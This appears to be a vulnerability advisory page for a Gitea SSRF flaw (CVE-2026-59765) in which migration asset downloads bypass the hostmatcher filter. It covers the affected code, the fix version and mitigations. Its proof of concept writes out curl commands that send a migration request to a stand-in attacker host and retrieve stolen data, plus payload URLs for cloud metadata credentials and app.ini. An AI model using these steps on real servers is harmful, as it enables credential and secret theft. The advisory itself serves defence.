CVE-2026-59765 is a high-severity (CVSS 7.5) Server-Side Request Forgery (SSRF) vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.
SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59765.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-59765 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
code.gitea.io/gitea🐹gitea.devReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Vulnerable Code
File: modules/uri/uri.go (line 32) -- Core vulnerability
func Open(uriStr string) (io.ReadCloser, error) {
u, err := url.Parse(uriStr)
switch strings.ToLower(u.Scheme) {
case "http", "https":
f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
return f.Body, nil
case "file":
return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
}
}
Callers in migration path:
services/migrations/gitea_uploader.go:340--uri.Open(*asset.DownloadURL)for release assetsservices/migrations/gitea_uploader.go:586--uri.Open(pr.PatchURL)for PR patches
File: services/migrations/dump.go (lines 312, 453)
// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)
// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader
File: routers/web/auth/oauth.go (line 306)
func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
resp, err := http.Get(url) // RAW http.Get -- no hostmatcher
Contrast with protected migration clone (same codebase):
// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)
PoC
# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
-H "Authorization: token ADMIN_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
"repo_name": "migrated-repo",
"repo_owner": "admin",
"service": "gitea"
}'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"
Impact
- Cloud metadata theft:
169.254.169.254reachable via unfilteredhttp.Get()(AWS IMDSv1 credentials, GCP tokens) - Local file read:
file://scheme inuri.Open()reads/etc/gitea/app.ini(database credentials, JWT signing secrets, SMTP passwords) - Internal service scanning: Reach
127.0.0.1,10.x,172.16-31.x,192.168.xnetworks - Bypasses existing SSRF protection: The
hostmatcherdialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.27.0go get code.gitea.io/gitea@v1.27.0 |
| 🐹Go | gitea.dev | all versions | 1.27.0go get gitea.dev@v1.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59765 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is CVE-2026-59765 in your dependencies?
Find it across Go, including transitive dependencies.